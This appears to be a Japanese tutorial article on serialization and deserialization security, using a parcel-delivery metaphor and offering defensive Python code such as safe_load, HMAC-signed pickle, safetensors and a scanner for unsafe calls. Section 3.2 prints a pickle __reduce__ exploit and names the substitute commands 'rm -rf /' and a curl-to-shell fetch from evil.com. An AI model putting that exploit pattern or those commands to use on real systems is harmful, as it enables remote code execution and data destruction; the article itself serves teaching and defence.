この記事の対象読者
- プログラミングで「JSON」や「YAML」を使ったことはあるが、その裏の仕組みを意識したことがない方
- シリアライズ・デシリアライズという言葉を聞いたことはあるが、正確に説明できない方
- Webアプリやバッチ処理で外部データを受け取る処理を書いている方
- セキュリティの基礎を押さえたいが、どこから手をつければいいか分からない方
この記事で得られること
- シリアライズとデシリアライズの仕組みを「宅配便」の比喩で直感的に理解できる
- JSON, YAML, Pickle, MessagePackなど主要フォーマットの使い分けが判断できるようになる
- デシリアライズ脆弱性(CWE-502)の原理と実際の攻撃パターンを理解できる
- 安全なデシリアライズ実装のためのPythonコードをすぐに使える
この記事で扱わないこと
- 特定フレームワーク(Django, Flask等)の内部シリアライザの詳細設定
- Protocol BuffersやFlatBuffersなどのIDL系バイナリフォーマットの網羅的解説
- 暗号学的な署名・検証アルゴリズムの数理的背景
1. そもそもシリアライズ / デシリアライズとは何か
1.1 宅配便で考える「データの旅」
プログラムが扱うデータ――たとえば辞書型やオブジェクト――は、メモリの中では複雑な構造を持っている。しかしこのデータを「ファイルに保存したい」「ネットワーク越しに送りたい」となった瞬間、問題が生じる。メモリ上の構造体をそのまま電線に流すわけにはいかないのだ。
ここで登場するのがシリアライズとデシリアライズという双子の概念である。
宅配便にたとえると、こうなる。
| 宅配便の工程 | データ処理 | 正式名称 |
|---|---|---|
| 荷物を段ボールに梱包して伝票を貼る | メモリ上のオブジェクトをバイト列や文字列に変換する | シリアライズ(直列化) |
| 届いた段ボールを開封して中身を取り出す | バイト列や文字列をメモリ上のオブジェクトに復元する | デシリアライズ(逆直列化) |
シリアライズは「送れる形にする」作業、デシリアライズは「使える形に戻す」作業だ。
「シリアライズ」の "serial" は「連続した」という意味。メモリ上では複数のアドレスに散らばっているデータを、1本の連続したバイト列に「直列化」するから "serialize" と呼ぶ。
読者が「なるほど、梱包と開封か」とイメージできたところで、次はこの「荷物」にどんな種類の段ボール箱があるかを見ていこう。
2. 主要なシリアライズフォーマット — 段ボール箱の種類
宅配便にもダンボール、木箱、緩衝材入りケースなど色々あるように、シリアライズにも用途に応じた「箱」がある。ここでは代表的な5つを紹介する。
2.1 フォーマット一覧
| フォーマット | 箱のたとえ | 人間が読めるか | 言語横断 | 安全性 | 主な用途 |
|---|---|---|---|---|---|
| JSON | 透明な箱 — 中身が見える | Yes | Yes | 高い | Web API, 設定ファイル |
| YAML | ラベル付き透明箱 — 階層が見やすい | Yes | Yes | 中程度 | 設定ファイル, CI/CD |
| XML | 伝票だらけの箱 — タグで構造化 | Yes | Yes | 高い | エンタープライズ, SOAP |
| MessagePack | 圧縮パック — 小さくて速い | No | Yes | 高い | 高速通信, ログ |
| Pickle | 中身が見えない段ボール — 何でも入る | No | Pythonのみ | 低い | ML/AIのモデル保存 |
2.2 「透明な箱」JSON — 最も安全で最も普及
JSONは宅配便でいえば「透明なアクリルケース」だ。中身が外から丸見えで、届いた荷物に爆弾が入っていないか開封前に確認できる。
import json
# シリアライズ(梱包)
user = {"name": "Hiroki", "age": 30, "skills": ["Python", "CUDA"]}
packed = json.dumps(user, ensure_ascii=False)
print(packed)
# => {"name": "Hiroki", "age": 30, "skills": ["Python", "CUDA"]}
# デシリアライズ(開封)
unpacked = json.loads(packed)
print(unpacked["name"])
# => Hiroki
JSONが安全な理由は明快で、復元できるデータ型が限定されているからだ。文字列、数値、真偽値、配列、オブジェクト——それだけ。関数やクラスインスタンスを復元する機能がそもそも存在しない。透明な箱には爆弾を入れる余地がない。
2.3 「中身が見えない段ボール」Pickle — 便利だが危険
一方、PythonのPickleは「中身が見えない段ボール箱」だ。あらゆるPythonオブジェクト——関数、クラス、ラムダ式まで——を梱包できる万能さが魅力だが、中身が見えない以上、開封した瞬間に何が起きるか分からない。
import pickle
# シリアライズ(梱包)
data = {"model": "GPT-like", "weights": [0.1, 0.2, 0.3]}
packed = pickle.dumps(data)
print(packed)
# => b'\x80\x05\x95...' ← 人間には読めないバイナリ
Pickleの公式ドキュメントには、冒頭にこう書かれている:
「信頼できないソースから受け取ったデータのunpickleは絶対にしないでください」
これは「見知らぬ人から届いた段ボールを開けるな」という警告と同義だ。
ここまでで「箱の種類」を理解できた。では次に、なぜ「中身が見えない箱」が危険なのか、その仕組みに踏み込んでいこう。
3. デシリアライズ脆弱性 — 不審な荷物を開けたら爆弾だった
3.1 CWE-502: 信頼できないデータのデシリアライズ
OWASP Top 10にも選ばれたことがあるこの脆弱性は、共通脆弱性タイプとしてCWE-502に分類されている。宅配便メタファーで言えば、「差出人不明の段ボール箱を開けたら、開封と同時に中身が爆発する」ケースだ。
なぜ爆発するのか。それは一部のシリアライズフォーマットが**「開封手順書」をデータに同梱できる**からだ。
3.2 実際の攻撃コード — こうして爆弾は作られる
以下は教育目的で示す攻撃のメカニズムだ。Pickleの__reduce__メソッドを悪用すると、デシリアライズ時に任意のコマンドを実行できる。
import pickle
import os
class Exploit:
"""開封時に自動実行される『爆弾』"""
def __reduce__(self):
# この関数が pickle.loads() 時に呼ばれる
return (os.system, ("echo 'やられた...orz'",))
# 攻撃者がシリアライズした爆弾データ
malicious_data = pickle.dumps(Exploit())
# 被害者が何も考えずにデシリアライズ
pickle.loads(malicious_data)
# => 「やられた...orz」が表示される
# 実際にはファイル削除やリバースシェルが仕込まれる
上記のechoは無害だが、ここをrm -rf /やcurl http://evil.com/shell.sh | shに差し替えれば、サーバー全体を掌握できる。宅配便メタファーで言えば、「開封と同時に自宅の鍵を複製されて合鍵を送信される」ようなものだ。
この攻撃は Python の Pickle に限った話ではない。Java の ObjectInputStream、PHP の unserialize()、Ruby の Marshal.load など、オブジェクトの完全な復元を許すフォーマットはすべて同じリスクを持つ。
3.3 攻撃が成立する3条件
デシリアライズ攻撃が成立するには、以下の3つが同時に満たされる必要がある。
| # | 条件 | 宅配便メタファー |
|---|---|---|
| 1 | 信頼できないソースからデータを受け取っている | 差出人不明の荷物を受け取った |
| 2 | デシリアライズ時にコード実行が可能なフォーマットを使用 | 「開封手順書」同梱可能な箱を使っている |
| 3 | デシリアライズ前にデータの検証・サニタイズをしていない | X線検査なしで開封した |
逆に言えば、この3条件のうち1つでも断てば攻撃は成立しない。この「断ち方」が次セクションの主題だ。
4. 安全なデシリアライズ実装 — X線検査と金属探知機
宅配便の世界には「不審物検知」の仕組みがある。X線検査、金属探知機、犬によるスニッフィング。デシリアライズの世界にも同等の防御策が存在する。
4.1 防御策一覧
4.2 防御策1: フォーマットを安全なものに限定する(最も確実)
「透明な箱」しか受け取らないルールにすれば、爆弾が紛れ込む余地がなくなる。
import json
def safe_deserialize(raw_data: str) -> dict:
"""JSONのみを受け付ける安全なデシリアライズ"""
try:
result = json.loads(raw_data)
except json.JSONDecodeError as e:
raise ValueError(f"不正なJSON: {e}")
# 型チェック(二重の安全策)
if not isinstance(result, dict):
raise TypeError(f"期待: dict, 実際: {type(result).__name__}")
return result
4.3 防御策2: YAMLは safe_load を厳守する
YAMLは宅配便メタファーで言えば「半透明の箱」だ。中身は見えるが、yaml.load()(フルローダー)を使うとPythonオブジェクトの復元を許してしまう。
import yaml
# NG — 任意のPythonオブジェクトを復元してしまう
data = yaml.load(raw, Loader=yaml.FullLoader) # 危険!
# OK — safe_load はスカラ値・リスト・辞書のみ許可
data = yaml.safe_load(raw) # 安全
yaml.load() をデフォルト引数で呼ぶと警告が出るが、警告を無視して Loader=yaml.FullLoader を指定する開発者は多い。これは「X線検査を自分でオフにしている」に等しい。
4.4 防御策3: やむを得ずPickleを使う場合の署名検証
GPUを使った機械学習の現場では、モデルの保存にPickleがまだ使われるケースがある。完全に排除できない場合は、HMAC署名で「差出人確認」する。
import pickle
import hmac
import hashlib
SECRET_KEY = b"your-secret-key-here" # 環境変数から取得すべき
def sign_and_serialize(obj: object) -> tuple[bytes, bytes]:
"""署名付きシリアライズ(発送時に封印シールを貼る)"""
data = pickle.dumps(obj)
signature = hmac.new(SECRET_KEY, data, hashlib.sha256).digest()
return data, signature
def verify_and_deserialize(data: bytes, signature: bytes) -> object:
"""署名検証付きデシリアライズ(封印シールを確認してから開封)"""
expected = hmac.new(SECRET_KEY, data, hashlib.sha256).digest()
if not hmac.compare_digest(signature, expected):
raise ValueError("署名不一致: データが改ざんされている可能性があります")
return pickle.loads(data)
4.5 防御策4: Pickleの代替としてsafetensorsを使う
機械学習モデルの保存が目的なら、safetensorsフォーマットへの移行を強く推奨する。safetensorsはテンソルデータだけを保存し、コード実行の仕組みを一切持たない。「中身がテンソルしか入らない専用ケース」と考えてほしい。
# pip install safetensors
from safetensors.torch import save_file, load_file
import torch
# 保存(シリアライズ)
tensors = {"weight": torch.randn(3, 4), "bias": torch.randn(3)}
save_file(tensors, "model.safetensors")
# 読み込み(デシリアライズ) — コード実行のリスクなし
loaded = load_file("model.safetensors")
HuggingFaceのTransformersライブラリも、現在はsafetensorsをデフォルトの保存形式に採用している。
ここまでで防御の手段が揃った。では次に、これらの知識が「いつ・どこで」必要になるのか、実務のユースケースを見ていこう。
5. 3つの環境別設定 — 開発 / 本番 / CI
デシリアライズの安全性は、環境ごとに求められるレベルが異なる。以下にPythonプロジェクトでの設定例を示す。
5.1 設定ファイル
# config/deserialization_policy.yml
# 開発環境: 利便性重視、ただしPickleの直接loadは禁止
development:
allowed_formats:
- json
- yaml_safe # yaml.safe_load のみ
- msgpack
- pickle_signed # HMAC署名付きPickleのみ許可
pickle_raw: false
log_deserialization: true
max_payload_size_mb: 50
# 本番環境: 安全性最優先
production:
allowed_formats:
- json
- msgpack
- safetensors
pickle_raw: false
pickle_signed: false # 本番ではPickle自体を禁止
log_deserialization: true
max_payload_size_mb: 10
require_schema_validation: true
# CI/テスト環境: テストデータの柔軟性を確保しつつ監視
testing:
allowed_formats:
- json
- yaml_safe
- msgpack
- pickle_signed
pickle_raw: false
log_deserialization: true
max_payload_size_mb: 100
enable_deserialization_audit: true
5.2 ポリシーを強制するPythonモジュール
"""deserialization_guard.py — デシリアライズポリシーの強制モジュール"""
import json
import yaml
import os
from pathlib import Path
from typing import Any
class DeserializationGuard:
"""環境別デシリアライズポリシーのガードレール"""
def __init__(self, env: str = None):
self.env = env or os.getenv("APP_ENV", "development")
self.policy = self._load_policy()
def _load_policy(self) -> dict:
config_path = Path("config/deserialization_policy.yml")
with open(config_path) as f:
config = yaml.safe_load(f)
return config.get(self.env, config["development"])
def deserialize_json(self, raw: str | bytes) -> Any:
"""安全なJSONデシリアライズ"""
if "json" not in self.policy["allowed_formats"]:
raise PermissionError(f"[{self.env}] JSON is not allowed")
payload_size = len(raw) if isinstance(raw, bytes) else len(raw.encode())
max_size = self.policy["max_payload_size_mb"] * 1024 * 1024
if payload_size > max_size:
raise ValueError(f"Payload exceeds {self.policy['max_payload_size_mb']}MB limit")
return json.loads(raw)
def deserialize_yaml(self, raw: str) -> Any:
"""safe_load のみを許可するYAMLデシリアライズ"""
if "yaml_safe" not in self.policy["allowed_formats"]:
raise PermissionError(f"[{self.env}] YAML is not allowed")
return yaml.safe_load(raw) # safe_load 以外は絶対に使わない
def deserialize_pickle(self, data: bytes, signature: bytes = None) -> Any:
"""署名付きPickleのみ許可"""
if self.policy.get("pickle_raw"):
raise PermissionError(f"[{self.env}] Raw pickle is NEVER allowed")
if "pickle_signed" not in self.policy["allowed_formats"]:
raise PermissionError(f"[{self.env}] Pickle is not allowed")
if signature is None:
raise ValueError("Pickle requires HMAC signature")
# verify_and_deserialize() を呼ぶ(前セクション参照)
from deserialization_guard_hmac import verify_and_deserialize
return verify_and_deserialize(data, signature)
6. 環境診断スクリプト — 自分のプロジェクトは大丈夫か?
以下のスクリプトをプロジェクトルートで実行すると、危険なデシリアライズ呼び出しを検出できる。
"""scan_unsafe_deserialization.py — 危険なデシリアライズ呼び出しの検出"""
import ast
import sys
from pathlib import Path
DANGEROUS_PATTERNS = {
"pickle.loads": "pickle.loads() は任意コード実行のリスクあり",
"pickle.load": "pickle.load() は任意コード実行のリスクあり",
"yaml.load": "yaml.load() は yaml.safe_load() に置き換えてください",
"yaml.unsafe_load":"yaml.unsafe_load() は絶対に使わないでください",
"marshal.loads": "marshal.loads() は信頼できないデータに使わないでください",
"shelve.open": "shelve は内部で pickle を使用しています",
}
def scan_file(filepath: Path) -> list[dict]:
"""1ファイルをスキャンして危険な呼び出しを検出"""
findings = []
try:
source = filepath.read_text(encoding="utf-8")
tree = ast.parse(source, filename=str(filepath))
except (SyntaxError, UnicodeDecodeError):
return findings
for node in ast.walk(tree):
if isinstance(node, ast.Call):
call_name = _get_call_name(node)
if call_name in DANGEROUS_PATTERNS:
findings.append({
"file": str(filepath),
"line": node.lineno,
"call": call_name,
"risk": DANGEROUS_PATTERNS[call_name],
})
return findings
def _get_call_name(node: ast.Call) -> str:
"""ast.Call ノードから 'module.func' 形式の名前を取得"""
if isinstance(node.func, ast.Attribute):
if isinstance(node.func.value, ast.Name):
return f"{node.func.value.id}.{node.func.attr}"
elif isinstance(node.func, ast.Name):
return node.func.id
return ""
def main():
target = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(".")
py_files = list(target.rglob("*.py"))
print(f"[*] {len(py_files)} 個の Python ファイルをスキャン中...")
all_findings = []
for f in py_files:
all_findings.extend(scan_file(f))
if not all_findings:
print("[OK] 危険なデシリアライズ呼び出しは検出されませんでした")
return
print(f"\n[!] {len(all_findings)} 件の危険な呼び出しを検出:\n")
for finding in all_findings:
print(f" {finding['file']}:{finding['line']}")
print(f" 呼び出し: {finding['call']}")
print(f" リスク: {finding['risk']}")
print()
if __name__ == "__main__":
main()
実行方法:
python scan_unsafe_deserialization.py ./src
7. ユースケース別 実践ガイド
ユースケース1: Web APIのリクエストボディ処理
Web APIでクライアントから受け取るデータのデシリアライズは、最も攻撃対象になりやすいポイントだ。宅配便メタファーで言えば「毎日何百個もの荷物が届く配送センター」であり、1個でも不審物を見逃せば大事故になる。
"""api_handler.py — FastAPIでの安全なリクエスト処理"""
from fastapi import FastAPI, HTTPException, Request
from pydantic import BaseModel, validator
import json
app = FastAPI()
class UserPayload(BaseModel):
"""Pydanticによるスキーマ検証 = X線検査"""
name: str
age: int
skills: list[str]
@validator("age")
def age_must_be_positive(cls, v):
if v < 0 or v > 150:
raise ValueError("age must be between 0 and 150")
return v
@validator("skills")
def skills_max_length(cls, v):
if len(v) > 20:
raise ValueError("Too many skills (max 20)")
return v
@app.post("/users")
async def create_user(payload: UserPayload):
"""
FastAPI + Pydantic の組み合わせにより:
1. JSONのみ受け付ける(フォーマット制限)
2. スキーマに合致しないデータは自動拒否(X線検査)
3. 型チェック + バリデーションを自動実行(金属探知機)
"""
return {"message": f"Welcome, {payload.name}!"}
ユースケース2: 機械学習モデルの保存と読み込み
PyTorchやLLMの分野では、学習済みモデルの保存・共有が日常的に発生する。この「荷物」は巨大であり、中身のチェックにはコストがかかる。
"""model_io.py — 安全なモデル保存・読み込み"""
import torch
from safetensors.torch import save_file, load_file
from pathlib import Path
def save_model_safe(model: torch.nn.Module, path: str):
"""safetensorsで安全に保存(Pickle不使用)"""
state_dict = model.state_dict()
save_file(state_dict, path)
print(f"[OK] モデルを safetensors 形式で保存: {path}")
def load_model_safe(model: torch.nn.Module, path: str) -> torch.nn.Module:
"""safetensorsで安全に読み込み"""
p = Path(path)
if p.suffix == ".pkl" or p.suffix == ".pickle":
raise ValueError(
f"[NG] Pickleファイルの読み込みは禁止されています: {path}\n"
f" safetensors形式 (.safetensors) に変換してください"
)
state_dict = load_file(path)
model.load_state_dict(state_dict)
print(f"[OK] モデルを safetensors 形式で読み込み: {path}")
return model
HuggingFace上で共有されるモデルの多くは、すでにsafetensors形式に移行している。新しいプロジェクトでは最初からsafetensorsを選択しよう。
ユースケース3: バッチ処理でのファイルインジェスト
定期バッチで外部ファイルを読み込む処理は、宅配便メタファーでは「毎朝届く大量のコンテナを検品するルーチン」にあたる。
"""batch_ingest.py — バッチ処理での安全なファイル読み込み"""
import json
import yaml
from pathlib import Path
from typing import Any
ALLOWED_EXTENSIONS = {".json", ".yaml", ".yml"}
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB
def ingest_file(filepath: str) -> Any:
"""拡張子・サイズ・フォーマットの3段階チェック"""
path = Path(filepath)
# Stage 1: 拡張子チェック(門前払い)
if path.suffix.lower() not in ALLOWED_EXTENSIONS:
raise ValueError(
f"[拒否] 許可されていない拡張子: {path.suffix}\n"
f" 許可: {ALLOWED_EXTENSIONS}"
)
# Stage 2: サイズチェック(巨大な荷物は拒否)
file_size = path.stat().st_size
if file_size > MAX_FILE_SIZE:
raise ValueError(
f"[拒否] ファイルサイズ超過: {file_size / 1024 / 1024:.1f}MB "
f"(上限: {MAX_FILE_SIZE / 1024 / 1024:.0f}MB)"
)
# Stage 3: 安全なデシリアライズ
raw = path.read_text(encoding="utf-8")
if path.suffix == ".json":
return json.loads(raw)
else:
return yaml.safe_load(raw) # YAML は必ず safe_load
8. よくあるエラーと対処法
| # | エラー / 状況 | 原因 | 対処法 |
|---|---|---|---|
| 1 | json.JSONDecodeError: Expecting value |
空文字列や不正なJSONを json.loads() に渡した |
入力が空でないか事前チェック。try/except で捕捉する |
| 2 | yaml.constructor.ConstructorError: could not determine a constructor |
yaml.safe_load() で読めないYAMLタグ(!!python/object 等)が含まれている |
YAML側から危険なタグを除去するか、JSONに変換する |
| 3 | _pickle.UnpicklingError: invalid load key |
破損したPickleファイル、またはPickleではないデータを pickle.loads() に渡した |
ファイルの整合性をチェック。可能ならsafetensorsに移行 |
| 4 |
ModuleNotFoundError during pickle.loads()
|
Pickle内で参照しているクラスが現在の環境に存在しない | シリアライズ時と同じモジュール構成を再現するか、フォーマット変更を検討 |
| 5 | yaml.scanner.ScannerError: mapping values are not allowed here |
YAMLのインデントやコロンの使い方が不正 | YAMLリンターで構文チェック。値にコロンを含む場合はクォートで囲む |
| 6 |
OverflowError / MemoryError on deserialization |
巨大なペイロードや再帰的なデータ構造を復元しようとした |
max_payload_size を設定し、上限を超えるデータは拒否する |
| 7 | TypeError: Object of type datetime is not JSON serializable |
JSON非対応の型(datetime等)を json.dumps() しようとした |
default=str やカスタムエンコーダーを使うか、ISO 8601文字列に変換する |
9. 学習ロードマップ — 次に何を学ぶべきか
| レベル | 推奨学習リソース |
|---|---|
| Level 1 | Python公式ドキュメント json モジュール、yaml ライブラリの safe_load リファレンス |
| Level 2 | OWASP Deserialization Cheat Sheet、CWE-502公式ページ、筆者のPickle記事 |
| Level 3 | Pydantic v2公式ドキュメント、safetensors GitHubリポジトリ、Bandit(Pythonセキュリティリンター) |
10. まとめ — 著者所感
デシリアライズという概念自体は「データを元に戻す」という素朴な操作に過ぎない。だが、その素朴さこそが落とし穴だ。
筆者自身、ローカルLLMの検証環境でHugging Faceから.pklファイルを何も考えずにpickle.loads()していた時期がある。RTX 5090でCUDAのセットアップに3日溶かした経験があるくせに、デシリアライズのリスクには全く無頓着だった。「宅配便の中身なんて確認しなくていいだろ」と思っていたわけだ。
この記事で伝えたかったのは、たった1つの原則に集約される。
「箱を開ける前に、中身を確認せよ」
JSONのような透明な箱を選ぶ。やむを得ず不透明な箱を使うなら、署名で差出人を確認する。バリデーションで中身をX線検査する。この3層の防御を習慣にするだけで、デシリアライズ起因のインシデントは劇的に減る。
データは旅をする。その旅路が安全であるかどうかは、荷物を開ける側——つまり我々開発者の手にかかっている。
関連記事
シリアライズ / デシリアライズとセキュリティをさらに深掘りしたい方は、以下もあわせてどうぞ。
参考文献